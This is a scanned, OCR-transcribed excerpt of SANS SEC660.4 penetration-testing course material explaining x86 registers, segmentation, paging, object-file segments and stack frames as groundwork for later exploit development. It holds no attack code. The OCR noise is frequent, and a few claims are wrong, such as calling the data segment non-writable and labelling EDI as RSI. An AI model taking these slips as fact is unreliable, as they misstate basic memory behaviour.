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Exploiting Linux for Penetration Testers — 660.4
In this section we will focus solely on the Linux OS, performing various types of attacks, commonly
performed during Linux penetration testing.
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Introduction to Memory

SANS SEC660.4

Introduction to Memory

In this module we will walk through system memory in order to lay out foundational knowledge for
the remainder of the course. Keep in mind we will be navigating through memory on cvery exercise
and topic covered, and a refresh and decper look will help us with transitioning through the modules.



Objectives

e Qur objective for this module is to
understand:

— Physical Memory

— Virtual Memory

— Paging

— Stack-based Memory

— Basic x86 Assembly Language
— Linkers & Loaders

1d Lithical | ‘.nl'l-.l"'_‘.i,

Objectives

This module is a prerequisite for the remainder of the course. It is important to not only understand
conceptually how the processor handles memory, but to understand exactly what cach component is
responsible for and how it all ties together. We will walk through physical and virtual memory, paging,
stack-based memory, linkers & loaders and some basics of x86 assembly language.



Physical Memory

e Processor Registers
— Hard coded variables
— Fastest
e Processor Cache
— Data Cache - L1 & L2 Cache
— Instruction Cache & TLB's
— Pre-fetches data from RAM

e Random Access Memory (RAM)
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Physical Memory

Physical memory is madc up of multiple components. We will be focusing on those relative to the
processor and most relevant to this course.

Processor Registers

Processor Registers arc physically integrated into the processor itsclf. You can look at them as hard-
coded variables. This type of memory is by far the fastest for the processor to access and has very limited
storage capacity. On the x86 Instruction Set, these arc commonly referred to as “General Purposc
Registers,” although many were designed with a specific purpose, which we will cover shortly. As it is
the most commonly used architecture at the time of this writing, we will be focusing primarily on the
Intel 32 & 64-bit Architectures (1A-32/1A-64) and their use of the x86 instruction sct. However, most of
the same principles apply with other x86-based architectures, such as thc AMD Athlon.

Processor Cache

Processor Cache is used by the CPU to quickly access necessary instructions and data from memory.
Obtaining this information from primary memory is a much slower process. The processor cache can act
as a buffer betwcen the processor and primary memory to significantly speed up access time by pre-
fetching required data. With x86-based processors, you will commonly find L1 cache and L2 cache as
part of the overall data cache. L1 cache is typically integrated into the processor itself and provides the
fastest access time. L2 cache can also be integrated into the processor or as a peripheral to the processor.
Some processors have L3 cache and beyond; however, the overall purpose of each of these is to fetch and
store the data required by the processor. As you move inward towards L1 cache, the memory capacity
decreases to improve performance. L1 cache will fetch immediately required and commonly used data
from the L2 cache as nceded. Instruction cache fetches copies of executable code segments.



Translation Lookaside Buffers (TLB)’s are used as caches for frequently accessed pages of memory. It
takcs away the requirement to go through the virtual to physical memory translation process. TLB’s
are typically flushed during context switches; however, Kernel TLB’s should not be flushed to avoid a
performance hit.

Random Access Memory

The most commonly known component is Random Access Memory (RAM). RAM is volatile memory
that loses the information it holds when its host is powered off. Though not always instantancous, the
data held in RAM goes through a decaying process when the system is powered down. RAM
physically cxists closc to the computers Central Processing Unit (CPU) as a grouping of integrated
circuits. Access time to RAM by the CPU is often a time-consuming process, relatively speaking,
when compared to processor registers and L1 or L2 cache. Extensive improvements to physical
memory have been made over the years and it is worth spending some time becoming more familiar
with the underlying technology. Memory and caches vary between various processor architectures and
this slide simply scrves as a high level overview.



Processor Registers

¢ General Purpose Registers — 32-bit
— EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP
e General Purpose Registers — 64-bit
— RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP + R8-R15
= Segment Registers — 16-hit
= 65, 05,585, 5, FS5, G5
~ Often used to reference memory locations
e FLAGS Register — Mathematical Operations
- Zero Flag | Negative Flag | Carry Flag | etc.
e Instruction Pointer (IP)
e Control Registers
- CRO — CR4
~ CR3 holds the start address of the page directory
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Processor Registers

Our primary focus will be on 32-bit applications, as they dominate the vast majority of the market. We
will discuss 64-bit applications and processors when appropriate. Most 64-bit systems support some
type of “legacy mode” (¢.g. WOW64) which allows 32-bit applications to run without issue. The
majority of third-party applications at the time of this writing arc still written to work on 32-bit
systems. Newer Windows OSs run primarily in 64-bit mode with support for 32-bit applications.

General Purpose Registers

The primary purpose of these registers is to perform arithmetic on the values stored in the register or
located at the memory address of a pointer held in a register. Each of these registers was designed with
a specific purposc in mind, although they may be used to carry out other operations. X86 64-bit (x64)
systems have an additional eight general purpose registers, R8 — R15. These additional registers are
uscd during Fast System Calls amongst other purposes.

Segment Registers — 16-bit

The primary purpose of segment registers is to maintain the location of specific segments within
virtual memory when using Protected-mode Memory Management with lincar addressing. Each 16-bit
register can hold the location of a segment such as the Code Segment, as held by the CS register. This
register can then be used by the processor to know where in memory the code segment resides and
access offsets accordingly. Since segment registers are only 16-bits wide, they arc only capable of
referencing offsets from a load address for a given process. Segmentation is unnecessary in 64-bit
systems; however, registers such as FS hold significance in pointing to Windows structural data. More
on this soon.



FLAGS Register

The FLAGS register is used to maintain the state of mathematical operations and the overall state of
the processor. Each processor has unique usage of the flags and their meanings. Some of the more
common flags are the “zero" flag, which is set if the result of an operation is zero; and the
“negative” flag, which is set if the result of a mathematical operation is a negative. Another ecxample
of the FLAGS register is with interrupt requests to the processor. If the Interrupt flag is sct, the
processor is aware an interrupt request has been made. Some processors can only handle one
interrupt at a time, while others can handle multiple interrupts.

Instruction Pointer

The Instruction Pointer (IP) is a register that holds thc memory address of the next instruction to
execute. The IP points to instructions in the Code Segment sequentially until it reaches a Jump
(JMP), CALL, or other instruction causing the pointer to jump to a new location in memory. On
x86_64-bit systems, the Instruction Pointer is referenced as RIP, as opposed to EIP on 32-bit
systcms.

Control Registers

In Intel 32-bit processors there are five Control Registers, CRO — CR4. Most importantly, out of
these registers, CR3 holds the starting address of the page directory. We’ll discuss paging shortly,
but for now just note that this is the location where page tables will start and allow for physical-to-
linear address mapping. There arc additional control registers available in 64-bit processor
architecture; however, these do not pertain to exploit development.



General Purpose Registers (1)

e EAX/RAX — Accumulator Register - “imul eax,4”
- Designed to work as a calculator :_ - ‘
e EDX/RDX — Data Register - “add eax,edx” |The Rin the |

~ Works with EAX on calculations | register
~ Pointer to Input/Output Ports | name on 64- i
e ECX/RCX - Count Register - “mov ecx,10” | bit systems |
— Used often with loops | stands for
o EBX/RBX — Base Register - ‘inc ebx” | “Register”

— General purpose register S
e The lower 16-bits of the 32-bit General Purpose Registers
can be referenced independently

— The upper and lower 8-bits of the lower 16-bits can also be
referenced independently with ah/al, dh/dl, ch/cl, bh/bl, etc...
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General Purpose Registers (1)

There are eight general purpose registers in the x86-based 32-bit processor architecture and 16 general
purposc registers on x64 systems. Many of these were designed to perform a specific function but may
be used for other purposes. On 32-bit systems, all eight registers are 32-bits wide, or the sizc of one
double word (DWORD). The lower WORD (16-bits) in EAX, EDX, ECX, and EBX can be
referenced by the names AX, DX, CX, and BX respectively. These lower registers can be accessed
dircctly for backwards compatibility with older 16-bit processors, or to simply access specific portions
of data held in a register. Each of the two bytes which make up the AX, DX, CX, and BX registers can
also be accessed independently by calling AH/AL for AX, DH/DL for DX, CH/CL for CX, and
BH/BL for BX. The “H” stands for the higher byte and the “L” stands for the lower byte. Thesc can be
used to call addressing offsets or assist in other calculations. They are treated as unique registers when
accessed directly with an assembly instruction.

Accumulator Register (EAX/RAX)

The accumulator register was designed with the intent of being the primary calculator for the
processor. Each register has the ability to perform such operations, but the design was such that
preference is given to EAX/RAX. There are specialized opcodes specifically created for such
functions with EAX/RAX.

Data Register (EDX/RDX)

The data register could be considered the closest neighbor to EAX/RAX. EDX/RDX is often tied to
large calculations where more space is needed. EAX will often require more space for such
calculations as multiplication. EDX also serves as a pointer to the addressing of an Input/Output port.



Count Register (ECX/RCX)

The count register is most commonly used with loops and shifts to hold the number of itcrations.

Base Register (EBX/RBX)

In 16-bit architecture the EBX/RBX register was uscd primarily as a pointer to change the memory
offset in which the processor is executing instructions. With 32-bit and 64-bit mode, EBX/RBX
scrves more as a true general register with no specific purpose. This register will often be used to
hold a pointer into the Data Scgment (DS), but is also commonly used for additional space to hold a
picce of a calculation. As with all registers, it is up to the programmer, compiler, and the overall
system architecture as to how the registers arc utilized.
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General Purpose Registers (2)

ESI/RSI - Source Index

— Pointer to read locations during string operations and loops
-~ repz cmpsb %es:(%edi), %ds:(%esi)”

EDI/RDI - Destination Index

— Pointer to write locations during string operations and loops
ESP/RSP - Stack Pointer — “movl %esp,%ebp”

— Holds the address of the top of the stack

— Changes as data is copied to and removed from the stack
EBP — Base Pointer — RBP is used for general purpose
- Serves as an anchor point for the stack frame

- Used to reference local variables
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General Purpose Registers (2)

Source Index (ESI/RST)

The source index register is often used as a pointer to a read location during a string operation or loop.
For example, if a string comparison is taking place, the ESI/RSI register would likely point to the
memory address where one of the strings being compared resides. This example will become clearer as
we proceed with the course.

Destination Index (EDI/RSI)

The destination index register is often used as a pointer to a write location during a string operation or
loop. Given our example above with the ESI/RSI register, EDI/RDI could be used as the pointer to the
address where the other string being compared resides, or perhaps to storc a value obtained by the result
of a loop operation.

Stack Pointer (ESP/RSP)

The stack pointer register is almost exclusively used for one purpose: to maintain the address of the top
of the stack. When a function is called within a program, the address of the next instruction after the call
is pushed onto the stack, serving as the return pointer, in order to restore the instruction pointer once the
called function is complete. On 32-bit processes, the address held in EBP is then pushed onto the stack
to restorc EBP once the function is complete. This is commonly known as the Saved Frame Pointer
(SFP). Next, the address held in ESP is moved over to the EBP register. At this point both EBP and
ESP hold the same address, pointing to the SFP. To allocate memory on the stack to store data, the size
of the buffer in bytes will be subtracted from the address held in ESP. The address held in ESP will now
show the updated location after allocating space. We will discuss the procedure prologue in more detail
shortly.

1



Extended Base Pointer (EBP)

EBP is uscd to reference variables on the stack, such as an argument being passed to a called

function. As mentioned, once the return address and the SFP are pushed onto the stack, ESP then
copies its address over to EBP. This gives EBP an anchor point that is static throughout the lifctime

of the stack frame. EBP will always point to the saved frame pointer (SFP) throughout the duration of
the function call. RBP, the 64-bit register, is no longer commonly used for this purpose. It typically
serves as a general purpose register. The rcason for this is that arguments arc passed in registers as
there are 16 general purpose registers on a 64-bit processor, as opposed to 8 on a 32-bit processor. A
basc pointer is no longer nceded on the stack.
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General Purpose Registers (3)

< 32-hits >
<-8-bits-> <-8-bits-> < 16 bits >
EAX i AH AX AL Code Ccs
ECX i i CH ¢CX CL Data DS
EDX : = 1 DH DX DL Stack S8
EBX BH BX BL Extra ES
ESI : SH SI SL Data FS
EDI s DH DI DL Data GS
EBP — &6
ESP F SP
< 16 bits >
< 32-bits >
EIP ] o st RSN S Par
EFLAGS - FLAGS
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General Purpose Registers (3)

This diagram gives a graphical layout of the x86 32-bit and 16-bit registers. The upper-left block of
registers are the 32-bit general purpose registers. The upper-right block of registers are the 16-bit
segment registers. The bottom block is the 32-bit Extended Instruction Pointer (EIP) and the EFLAGS

register. When running a 64-bit application the 32-bit registers and smaller registers already mentioned
are still accessible. e.g. RAX, EAX, AX, AH, AL
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Segment Registers (1)

e Segment Register functionality and types
— *NIX vs. Windows usage

e Segment Selector and Descriptor

- 16-bit value containing three parts
e Index — 13 bit field & offset to the descriptor in the GDT
¢ Table Indicator
» Requestor Privilege Level

e Global and Local Descriptor Tables
— GDTR & LDTR hold base address
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Segment Registers (1)

As mentioned carlier, segment registers often maintain the location of specific segments within virtual
memory. Some of these registers have more specific functions, while others arc general registers that
can be used to maintain multiple locations in various segments. Amongst various versions of the
Windows OS there are sometimes consistent uses of even the more gencral segment registers, often
proving very useful when performing sccurity rescarch. In many cascs, programs are designed with the
expectation that a specific segment sclector has been loaded into a segment register. 64-bit systems
have little to no need for memory segments maintained by segment registers.

The visible part of a segment register is known as the segment sclector. This is a 16-bit value
consisting of three parts, including an Index, Table Indicator, and the Requestor Privilege Level. The
Index portion is a 13-bit value that is actually an offset to a Segment Descriptor found in the Global
Descriptor Table (GDT) or Local Descriptor Table (LDT). The index portion is multiplied by 8. and
the sum is then added to the basc address of the Descriptor Table found inside the GDT Register
(GDTR) or LDT Register (LDTR). The Segment Descriptor is the non-visible picce containing other
information necessary to obtain a full linear address. The Table Indicator contains whether the local
descriptor table or global descriptor table contains our segment descriptor. Finally, the Requestor
Privilege Level holds the privilege level for data access. The lower the number the higher the privilege
level.

***The Segment Descriptors residing in the Segment Descriptor Table hold other required
information. Most importantly, the desired 32-bit base address is included in the Segment Descriptor.
The Segment Descriptors also contain information on the segment size, which can be up to 4GB and
access rights to the processor. The Segment Descriptor Table simply holds the Segment
Descriptors. ***
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Segment Registers (2)

CS — Code Segment
SS — Stack Segment
DS - Data Segment
ES — Extra Segment

FS — Extra Data Segment
— Notable use with Windows

GS — Extra Data Segment
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Segment Registers (2)

Code Segment

The Code Segment (CS) holds the cxccutable instructions of an object file. The CS is sometimes referred to
as the Text Segment. Since the CS has the read and execute permissions, but not the writc permission,
multiple instances of the program can run simultancously. The Code Segment register often points to an
offsct holding the start addrcss of the executable code for a given process.

Stack Segment

The Stack Segment (SS) register maintains the location of the procedure stack. Specifically, the SS register
commonly points to an offsct address on the stack in memory, while the Stack Pointer (ESP/RSP) points to
the top of the current stack frame in usc.

Data Segments

There are four segment registers with the ability to point to various data segments. The four registers are the
Data Scgment (DS), Extra Scgment (ES), FS, and GS. FS and GS started on the IA-32 Architecture and
were given their name based on alphabctic purposes only.

The four segment registers are able to point to disparate data structures. This provides a level of control and
segmentation with access to data. For example, one data structure may be the current object, while another
may point into a dynamically created heap. In the cvent a program requires access to a data scgment that is
not currently loaded into a segment register, the required segment selector must be loaded. FS is used to
point to the Thread Information Block (TIB) on Windows processes. GS is commonly used as a pointer to
Thread Local Storage (TLS) for things such as security cookic validation.

15



Memory Models

e Real Mode
— Maintained for backwards compatibility
— Very limited feature set
— 64-bit systems still start in this mode

¢ Protected Mode

— Support for Virtual Memory up to 4GB and
beyond

— Can access any memory mode
e Long Mode for x64 systems
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Memory Models
Real Mode

At boot time the processor starts in Real Mode. It starts in this mode to support backward
compatibility for older architectures. Real Mode has the ability to switch in and out of other modes,
such as Protected Mode. Only a limited feature set is available in Real Mode, such as limitations on
address space. Real mode may also be combined with a Flat Memory Mode to support a larger
memory space up to 4 GB’s. Flat Memory Mode by itself requires a one-to-one mapping to physical
memory addressing.

Protected Mode

Protected Mode allows for up to 4 GB’s of address space and supports Virtual Memory and paging --
discussed shortly. Memory scgments are protected from each other, providing additional control. In
order to switch from Real Mode to Protected Mode, a scrics of steps arc required. Some of the more
notable steps are the creation of a Global Descriptor Table and the loading of Stack Segment
information amongst other segment registers. Almost all modern 32-bit Operating Systems run in
Protected Mode.

L.ong Mode

Long Mode is the memory model uscd by 64-bit systems in order to detect 64-bit processors and
support emulation for 32-bit systems.

16



Virtual Memory

e Physical Memory
— The IA-32 default supports 4 GB of physical addressing
— Physical Address Extension (PAE) can support up to 64 GB
— 64-bit systems support much more memory, but do not utilize
all 64-bits for memory addressing, as it’s unnecessary
e Virtual / Linear Addressing
— Supports 4GBs of Virtual Address Space on a 32-bit system

~ 64-bit applications running on a 64-bit processor get 7TB -
8TB for user mode and the same for Kernel mode!
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Virtual Memory

Physical Memory

In protected mode, a 32-bit Intel processor can support up to 64 GB’s of physical address space when
using extensions. Some processors do not support the aforementioned extensions. Remember that the
32-bit processor registers are 32-bits wide, also supporting a maximum value of 232. If paging is not
uscd, lincar address space managed by the processor has a direct one-to-onc mapping to a physical
address. 64-bit processors are a bit different in that the physical memory limitations are based on
various factors. It is commonly stated that up to 1TB of physical memory is supported; however, the
OS and other hardwarc components likely restrict the amount of physical memory supported.

Virtual / Linear Addressing

[n 32-bit protected modec, the processor uses 4 GBs of virtual or linear addressing for cach process.
Linear addressing is used primarily to expand the memory capabilitics of the system and applications
when physical memory resources arc limited. If more memory is needed than what is physically
available or a flat memory model is not desired, the processor can provide virtual memory through a
process known as paging. Virtual memory, when usced with paging, allows for cach process to have its
own 4 GB address space on a 32-bit application, running on either a 32-bit or 64-bit processor. The
address space is split between the Kernel and the user mode application. This is an important picce for
sccurity rescarch, as you will often find that specific functions within the code segment of a program
are consistently located at the same address if it is not participating in ASLR. 64-bit applications,
running on a 64-bit processor, cach get 7TB — 8TB, both for user mode and Kernel mode.

17



Paging

o What is paging?
— Process of allowing indirect memory mapping
— Linear addressing is mapped into fixed-sized pages
¢ Most commonly 4KB
e Pages mapped into page tables with up to 1,024 entries
— Page tables mapped into page directories
— Page directories can hold up to 1,024 page tables
¢ Linear address maps to page directory, table and page offset

o Translation Lookaside Buffers (TLB)'s hold frequently used page tables
and entries

~ Page file may not be needed or used on 64-bit systems

- Context Switching and the Process Control Block (PCB)

e Register values for each process are stored in the PCB and loaded
during context switching
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Paging

Let us start with a simple example. If you arc running an x86-based processor that supports up to 4
GB of linear addressing and you also have 4 GB of physical memory, theoretically, a one-to-one
mapping could be performed. However, multiple processes are always running simultaneously, each
with their own 4 GBs of virtual memory, and a one-to-one mapping is not possible. If during
program runtime you notice that a program's code segment consistently seems to be mapped to the
cxact same addressing layout, paging is being used with virtual memory. Let us take a closer look at
this concept.

Paging works by dividing up the linear address space into pages. These pages are commonly divided
into 4 KB’s cach, however, they may also be divided up into larger pages, such as 2 or 4 MBs. For
our purposes we will focus on 4 KB pages as it is most common. The pages are mapped to physical
memory of the same page size, and the entrics arc held in a page table. Each page table can support
up to 1,024 page entries. The page tables arc then grouped together into a page dircctory. Each page
directory can hold up to 1,024 page tables. The lincar address is used to perform the translation to
thc physical address. The first section of the linear address is used to map to a specific entry within
the page directory. This entry provides the location of the desired page table. The next section of the
lincar address is used to select the correct page table entry, which in turn gives us the address of the
desired physical page. The last picce of the lincar address provides the offset within the page, finally
giving us the full 32-bit physical address.

As stated, when using virtual memory with paging, cach process or program can have its own 4 GB
address space. In this scenario, cach program has its own page directory structurc to map back to
physical addressing as discussed above. Most commonly you will not see scgmentation used, but
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will see paging used with virtual memory. Onc of the key items to note is that typically the higher 2
GB of virtual memory is reserved for the Kernel. It could be the lower half if set up that way;
regardless, 2 GB is assigned for the process or task itself and the other 2 GB for Kernel services.
You may also scc on some operating systems that only 1GB is reserved for the Kernel. Be sure to
check how the address space is used on cach system you’re researching. On most versions of
Windows the address range 0x00000000 to Ox7FFFFFFF is assigned to the process and
0x80000000 to OxFFFFFFFF is assigned to the Kernel services. Certain portions of those ranges are
not accessible. This higher 2 GBs of virtual memory is important, as scrvices needed by the Kernel
and the process itself must be mapped into the memory relative to the process. This mcans that
cvery process or program running on the system has these Kernel services mapped into its memory
space. These virtual memory addresscs are typically consistent within cach process. The Kernel is
actually one giant, shared memory region, often referred to as the Kernel Pool. There arc various
Kernel Pool types, such as the Paged Pool and the Non-Paged Pool.

So if cach process gets its own 2 GGBs of address spacc to use, there must be some overlap between
processcs, right? Absolutely! You will often notice that scveral applications arc loaded into memory
at the same address. Even multiple instances of the same application arc loaded into what seems the
same area of memory. Remember that cach process is mapped to physical memory via the page
tables, which allows them to use the same addressing, yet remain unique. If we are allowing
multiplc processes to use the same addresses simultancously, there must be a way for the processor
to know within what task it is working. This is done through the use of the Process Control Block
(PCB) and Context Switching. A processor uses time slicing between processes via the usc of
cycles. Depending on the priority level and other factors, cach process is assigned a number of
cycles. When context switching between one process and another, important clements, such as the
Process ID (PID) and address spacc assigned to the process, must be loaded into memory and into
the registers. During cach process context switch, the state of the registers is written to the PCB for
the given process. The PCB commonly holds a pointer to the next process in where the processor
should switch. Process context switching has a lot of overhcad as TLB’s are flushed, state is
capturcd, and other operations. Thread context switching is the practice of switching between
threads within a single process. This opcration does not carry the same level of overhead as process
context switching.

A final notc on paging is the use of Translation Lookaside Buffers (TLB)’s. The proccssor
maintains a cache of the most recently used page tables and entries. This is used for the same
purpose as any other cache; to minimize the processor time and utilization to access frequently
pages of memory.
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Paging vs. Swap

Non-recently accessed pages are copied

over to disk

Page Faults

— Occurs when the system attempts to access an
address of memory that has been paged to disk

— Relatively time consuming

Swapping an entire process

Windows Memory Optimization

— Pages out unused memory addressing
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Paging vs. Swap

Paging is performed when the system runs out of available memory. At this point, the system will copy
non-recently accessed pages over to the hard disk in an arca set up as swap space. This frees up the
limited memory resources so they may hold additional data. If a system then goes to access an address
of memory where the desired data formerly existed, but has been paged to disk, a Page Fault is
generated. At this point the data will be loaded back into RAM so it may be accessed. The OS will try
to minimize the number of Page Faults generated, as they are time-consuming from a processor’s
perspective.

You will often times hear the terms paging and swapping used synonymously; however, there is a
difference. Historically, swapping was a term used on older systems when memory was a scarce
resource. The processor would completely swap a running process out of memory onto the hard disk to
allow another program to run. Some operating systems handle both swapping and paging a bit
differently. Windows uscs paging by default for each process to better manage system resources. A
program will often ask for a much larger scgment of memory than needed. In this instance Windows
will often page out a chunk of that process to disk until it is nceded. This again allows for physical
memory resources to be utilized more efficiently. Windows will also try and guess which parts of
memory within a process arc likely not to be needed again. This arca of memory can be paged out of
physical memory and loaded again if nceded. You will not see many modern OSs swapping out an
entire process. Normally, it is limited to fixed sized pages of memory being written into swap space on
a hard disk until it is needed.
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Object Files

Code Segment

— Fixed size segment containing code

Data Segment

— Fixed size segment containing initialized variables
BSS Segment

— Fixed size segment containing uninitialized variables
Heap

— Segment for dynamic and/or large memory requests

Stack Segment
— Procedure stack for the process
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Object Files

When a programmer writes a program in a high-level language such as C or C++, a compiler is used to
convert the source code into a format known as object code. Object code is the representation of the
program in binary machine code format. An object filc can consist of multiple components, including
the compiled binary program data, a symbol table, relocation information, and other clements. Each of
these components is used by the loader and linker to perform actions such as run-time opcrations and
symbol resolution. We’ll talk more about linkers and loaders in a bit, but for now, just know that a
linker is responsible for resolving the location of desired functions in a system library. A loader is used
to load an objcct file into memory at the desired load addressing, as well as mapping various segments.

During program runtime multiple segments are mapped and created in memory. The primary segments
arc the Code Scegment, Stack Scgment, Data Segment, Heap and Block Started by Symbol (BSS). Let

us walk through cach one of the segments so we may further lay a foundation, before moving forward.
There are other segments which exist inside an object file and they will be discussed when appropriate.

Note: Each Operating System and compiler behaves differently. What may be created in one way by
one OS or compiler, may not look the same by another. For many of our examples in this course we
will be looking at the C programming language and the GNU GCC compiler.

Code Segment

The Code Segment (CS), as with the Data Segment and BSS segment are of fixed size. Space cannot
be allocated into these segments without the potential for affecting the proper functionality of the
program. The Code Segment is sct up with read and exccute permissions; however, the write
permission is disabled as it contains the program's instructions as interpreted by the compiler.
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Data Segment

The Data Segment (DS) contains initialized global variables. These are variables that were defined
by the programmer. c.g. “inf x = 1;” Scgment Registers DS, ES, FS and GS can all map to different
arcas within memory. For example, in Windows, a pointer to the Structured Exception Handler
(SEH) chain is held at FS:[0x00] within the Thread Information Block (TIB), and a pointer to the
Process Environment Block (PEB) is held at FS:[0x30]. We will talk about why such placcholders
arc important as we continue through the course. The data segment should be readable, but not
writable.

Block Started by Symbol (BSS)

The BSS segment contains uninitialized global variables. e.g. “inf x;”” Some of these variables may
never be defined, and some may be defined if a particular function is called. In other words, any
variable with a value of zero upon runtime may reside in the BSS scgment. Some compilers will not
store these uninitialized variables in the BSS segment if it is determined that they are blocks of dead
code that arc unused. We will look at some cxamples of where this segment is mapped in memory
during program initialization.

Heap

The Heap is a much more dynamic arca of memory than the stack. Short finite operations with
predefined buffer sizes often rightfully belong on the stack; however, applications performing large
memory allocations to hold user data or run feature-rich content will heavily utilize the heap. A uscr
who opens up multiple MS Word documents simultancously would find their data on the heap or as
part of a file mapping. The heap is designed to border a large, unused memory segment to allow it
to grow without interfering with other memory segments. We will take a much closer look at heaps
and how they work on Linux and Windows.

Stack Segment

The Stack Segment is leveraged when function calls are made. The state of the process before a
function is called is pushed onto the stack through a series of short operations known as the
procedure prolog. This includes a pointer known as the return pointer which allows the calling
function to regain control oncce a called function is complete. Nested function calls arc often made
which results in stack growth. Each function gets its own frame on the stack. When nested functions
begin to break down in reverse order, a process known as unwinding is performed. The stack often
holds finite memory allocations associated with function calls, as well as arguments relative to a
called function. Many functions return values back to the caller through the usc of the EAX/RAX
register, as well as other registers and memory locations.
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Stack Operation — Moving Data

~ Code Segment
main() 1
IP- | 0x8048202: mov Yoeax, Yoedi The contents of the EAX
| 0x8048204: push %edi register are copied to the
| 0x8048205: call func_x EDI register. No changes to
| 0x8048207: xor eax, eax the stack.

: ... # truncated for space...

func_x()
| 0x8048801: push %ebp Top of Stack
0x8048802: mov Y%esp, %ebp ESP
0x8048804: sub 0x20, %esp ' :
... # func x code to execute EBP j
0x8048903: mov %ebp, %esp N - r
0x8048905: pop %ebp Stack
l 0x8048906: ret

main()
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Stack Operation — Moving Data

We will now cover normal stack operation and demonstrate how stack frames are built. On this slide
there are several things going on. On the left, the arca is marked as “Code Segment.” This is the
location in memory where the executable code for the program is located. You can sce two functions,
main() and func_x(). Each of these functions has a unique cntry point. When a function is called we
start at the beginning of this entry point for the given function. The marker indicated as “IP” is the
processor’s instruction pointer. This would be EIP or RIP depending on whether or not the processor is
32-bit or 64-bit. IP is pointing to thc memory address 0x8048202, which holds the instruction “mov
Y%eax, %edi.” The “mov” instruction simply copies source data to a destination indicated by operands.
In this example, the contents of the EAX register are copicd to the EDI register. The assembly syntax
being used is AT&T. We will cover Assembly syntax shortly.

On the lower right, there is an area indicated as “Stack.” This is the procedure stack for the process. In
this instance, the stack starts at high memory and grows towards low memory. This may be the
opposite dircction than you would expect. The stack and the heap grow towards cach other, but are far
away from cach other in memory. This is to ensure they never collide. Since the heap grows from low
memory to high memory, it makes sense for the stack to grow from high memory to low memory. As
previously described, the stack utilizes two special pointers. The stack pointer, which always points to
the top of the current stack frame, and the basc pointer, which on 32-bit applications, always points to
the saved frame pointer (SFP) position. The SFP is used to restore the base pointer during function
cpilogue, to be covered shortly. With the instruction being executed, there are no changes to the
stack’s state.
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Stack Operation — Push Instruction

~ Code Segment The contents of the EDI
main() register are pushed onto the 1
| 0x8048202: mov %eax, %edi stack. ESP is adjusted.
| A ——————

| 0x8048205: call func_x
0x8048207: xor eax, eax
... # truncated for space...

e o e e e

func_x()
0x8048801: push %ebp ESP EEp | EDI's Contents

0x8048802: mov %esp, Y%ebp
0x8048804: sub 0x20, %esp

... # func_x code to execute EBP * main()
0x8048903: mov %ebp, %esp ’ - -g
0x8048905: pop %ebp Stack

; 0x804906: ret
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Stack Operation — Push Instruction

On this slide the IP has moved down one position to memory address 0x8048204, from 0x8048202.
Depending on the architecture, each instruction exccuted may be variable in size. Some instructions
may be a single byte, incrementing the instruction pointer by a single byte upon exccution to the next
instruction, while other instructions may be 2, 3, 4, or more bytes, incrementing the address held by
the instruction pointer several bytes. Please note that the instruction size and spacing between
addresses on the slides may not be precise to that of assembled code. It is simply an example.

As stated, the [P currently points to 0x8048204 which holds the instruction “push %edi.” The push
instruction takes the indicated value and pushes it onto the stack as a DWORD or QWORD
(depending on the architecture) at the position dircctly above where the stack pointer is pointing. If
you look at the stack image on the slide, the ESP register is now pointing above where it was
previously pointing. This is duc to the due to the contents of the EDI register being pushed onto the
stack by the “push %edi” instruction.
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The Call Instruction and Return
Pointer

. Code Segment | The call instruction copies the next
- main() _ address in the code segment onto ‘
| 0x8048202: mov Y%eax, Yeedi the stack, serving as the return
- 0x8048204: push %edi pointer. Execution then jumps to the
]P- 0x8048205: call func x called functions code.
i [0x8048207 ]xor eax, eax o T
i ... # truncated for space... E
i 4
§ func_x() ESP HE | 038048207 - RP
bemems  (Ox8048801: push %ebp EDI’s Contents
0x8048802: mov %esp, %ebp
0x8048804: sub 0x20, %esp o
main()
... # fune x code to execute EBP -
0x8048903: mov %ebp, %oesp -
0x8048905: pop %ebp Stack

0x8048906: ret
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The Call Instruction and Return Pointer

The IP has cxecuted the previous instruction and now points to address 0x8048205, which holds the
instruction “call func_x.” The call instruction is what is used to redirect the instruction pointer to
another function’s code. It has two main jobs:

e Take the address of the instruction immediately following the address of the call instruction and
push it onto the stack, serving as the return pointer.

e Redirect the instruction pointer to the called function’s entry point.

The return pointer is used by the called function to give control back to the caller upon completion.
Typically, when a function is called, it is expected that control will be returned. If we ask a function to
perform a simple operation such as concatenating two strings, we want control back after the operation
has been completed. In order to ensure that we get control back, we must provide a return address. The
call instruction takes the address of the next instruction to execute, in this case 0x8048207, and pushes
it onto the stack frame of the called function. This will be used later to return control to the caller. As
you can scc on the slide, ESP now points to the return pointer back to main(). The call instruction then
redirects the instruction pointer to the memory address of the start of the called function.
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Procedure Prologue — Step One

The instruction pointer has =
Code Segment jumped to func x’s code. The )
main() address held in EBP is pushed k
0x8048202: mov %eax, %edi onto stack serving as the SFP.
0x8048204: push %edi This is step one of the
0x8048205: call func x procedure prologue.

0x8048207: xor eax, eax i
... # truncated for space... i

-t
 J

ESP W) SFP
func_x() 0x8048207 - RP
IP- | 0x8048801: push %ebp EDI's Contents

0x8048802: mov %esp, %ebp
0x8048804: sub 0x20, Y%esp

main()
... # func x code to execute -- EBP -
0x8048903: mov %ebp, %vesp x
0x8048905: pop Yeebp Stack

x 88906 ret
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Procedure Prologue — Step One

Now that control has been passed to the fune x() function, the program will execute the compiler-
added code known as the procedure prologue. The procedure prologue is a short sct of instructions that
helps build the stack frame of the called function. Note that this compiler-added code is common with
internal functions; however, dynamically linked functions such as strepy() & printf() will likely not
have this requircment.

Currently, the base pointer (EBP) points down into main()’s stack frame. We want to adjust it to point
up into the stack frame of func_x. First, before doing that we need to make sure that we preserve the
address it is currently pointing to in main()’s stack frame, so that we can restore it later. To accomplish
this, we exccute step one of the procedure prologue, “push %ebp,” which is currently pointed to by the
IP at address 0x8048801. This instruction will take the stack address held in EBP and push it onto the
stack, becoming the saved frame pointer (SFP). This variable will later be used to restore EBP to
where it previously pointed. Throughout the duration of this function call, EBP will always point to the
SFP. This is important on 32-bit applications as any arguments passed to the function, if relevant, can
be accessed by referencing a positive offset to EBP, such as EBP+4 and EBP+8. On 64-bit
applications arguments arc typically supplied via general purpose registers such as r8, 9, etc... Note
that as cxpected, ESP is pointing to the SFP due to the push instruction.
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Procedure Prologue — Step Two

Lieus _§e;g__q_1e_!1_l 'i In step two of the procedure X
main() - . prologue, the contents of the
0x8048202: mov %eax, Yoedi ESP register is copied to the
0x8048204: push %edi EBP register. They now both
0x8048205: call func_x point to the SFP on the stack.
0x8048207: xor eax, eax
.. # truncated for space... EBP/ESP - SFP
